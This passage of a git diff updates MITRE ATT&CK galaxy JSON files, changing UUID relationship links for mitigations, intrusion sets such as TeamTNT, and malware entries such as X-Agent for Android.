"e422b6fa-4739-46b9-992e-82f1b350c780", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "ef771e03-e080-43b4-a619-ac6f84899884", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4963,7 +4983,49 @@ }, "related": [ { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5081,49 +5143,7 @@ }, "related": [ { - "dest-uuid": "393e8c12-a416-4575-ba90-19cc85656796", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "f58cd69a-e548-478b-9248-8a9af881dc34", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5210,7 +5230,21 @@ }, "related": [ { - "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "dest-uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5231,7 +5265,14 @@ "type": "mitigates" }, { - "dest-uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", + "dest-uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11279,21 +11320,35 @@ }, "related": [ { - "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11307,14 +11362,14 @@ "type": "mitigates" }, { - "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11328,42 +11383,28 @@ "type": "mitigates" }, { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6", + "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "dest-uuid": "c08366bb-8d11-4921-853f-f0a3b6a2a1da", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "a0464539-e1b7-4455-a355-12495987c300", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "b332a960-3c04-495a-827f-f17a5daed3a6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11383,27 +11424,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "ef771e03-e080-43b4-a619-ac6f84899884", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "f1c3d071-0c24-483d-aca0-e8b8496ce468", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - 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"tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1553b156-6767-47f7-9eb4-2a692505666d", "value": "Application Vetting - M1005" }, @@ -12261,7 +11923,63 @@ }, "related": [ { - "dest-uuid": "0c71033e-401e-4b97-9309-7a7c95e43a5d", + "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12275,14 +11993,14 @@ "type": "mitigates" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "537ea573-8a1c-468c-956b-d16d2ed9d067", + "dest-uuid": "498e7b81-238d-404c-aa5e-332904d63286", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12303,7 +12021,7 @@ "type": "mitigates" }, { - "dest-uuid": "6f86d346-f092-4abc-80df-8558a90c426a", + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12317,42 +12035,35 @@ "type": "mitigates" }, { - "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", + "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "a0464539-e1b7-4455-a355-12495987c300", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "a64a820a-cb21-471f-920c-506a2ff04fa5", + "dest-uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12366,7 +12077,28 @@ "type": "mitigates" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12380,7 +12112,7 @@ "type": "mitigates" }, { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12394,7 +12126,56 @@ "type": "mitigates" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12413,6 +12194,13 @@ ] }, "related": [ + { + "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", "tags": [ @@ -12420,6 +12208,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -12428,21 +12223,7 @@ "type": "mitigates" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12462,6 +12243,27 @@ ], "type": "mitigates" }, + { + "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ @@ -12469,6 +12271,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", "tags": [ @@ -12476,12 +12285,26 @@ ], "type": "mitigates" }, + { + "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee", @@ -12498,14 +12321,14 @@ }, "related": [ { - "dest-uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", + "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15975,6 +15798,41 @@ ] }, "related": [ + { + "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", "tags": [ @@ -15983,7 +15841,42 @@ "type": "mitigates" }, { - "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15995,13 +15888,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" - }, - { - "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" } ], "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c", @@ -16567,5 +16453,5 @@ "value": "Audit - M1047" } ], - "version": 22 + "version": 23 } diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json index f4ddeaf..8af8f8e 100644 --- a/clusters/mitre-intrusion-set.json +++ b/clusters/mitre-intrusion-set.json @@ -1331,6 +1331,13 @@ ], "type": "uses" }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -1345,20 +1352,6 @@ ], "type": "uses" }, - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -1814,13 +1807,6 @@ ], "type": "similar" }, - { - "dest-uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f", "tags": [ @@ -4869,13 +4855,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b47250ec-2094-4d06-b658-11456e05fe89", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "b52d6583-14a2-4ddc-8527-87fd2142558f", "tags": [ @@ -5037,13 +5016,6 @@ ], "type": "uses" }, - { - "dest-uuid": "feac86e4-6bb2-4ba0-ac99-806aeb0a776c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "tags": [ @@ -5216,13 +5188,6 @@ ], "type": "uses" }, - { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ @@ -6392,20 +6357,6 @@ ] }, "related": [ - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c", "tags": [ @@ -9211,13 +9162,6 @@ ], "type": "uses" }, - { - "dest-uuid": "5e0a7cf2-6107-4d5f-9dd0-9df38b1fcba8", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "8b880b41-5139-4807-baa9-309690218719", "tags": [ @@ -9618,13 +9562,6 @@ ], "type": "uses" }, - { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ @@ -14099,13 +14036,6 @@ ] }, "related": [ - { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "271e6d40-e191-421a-8f87-a8102452c201", "tags": [ @@ -18315,13 +18245,6 @@ ], "type": "uses" }, - { - "dest-uuid": "5e0a7cf2-6107-4d5f-9dd0-9df38b1fcba8", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -20045,13 +19968,6 @@ ], "type": "uses" }, - { - "dest-uuid": "accd848b-b8f4-46ba-a408-9063b35cfbf2", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", "tags": [ @@ -28340,20 +28256,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -28369,14 +28271,7 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28404,7 +28299,7 @@ "type": "uses" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28425,14 +28320,21 @@ "type": "uses" }, { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28466,13 +28368,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -28487,6 +28382,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -28508,6 +28410,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -28515,20 +28424,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ @@ -28542,6 +28437,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "afec6dc3-a18e-4b62-b1a4-5510e1a498d1", @@ -30695,5 +30597,5 @@ "value": "TeamTNT - G0139" } ], - "version": 26 + "version": 27 } diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json index e1ec9c9..69d7ed7 100644 --- a/clusters/mitre-malware.json +++ b/clusters/mitre-malware.json @@ -51,15 +51,9 @@ "description": "[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).", "meta": { "external_id": "S0314", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0314", "https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf" - ], - "synonyms": [ - "X-Agent for Android" ] }, "related": [ @@ -90,13 +84,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "56660521-6db4-4e5a-a927-464f22954b7c", @@ -126,28 +113,21 @@ "type": "uses" }, { - "dest-uuid": 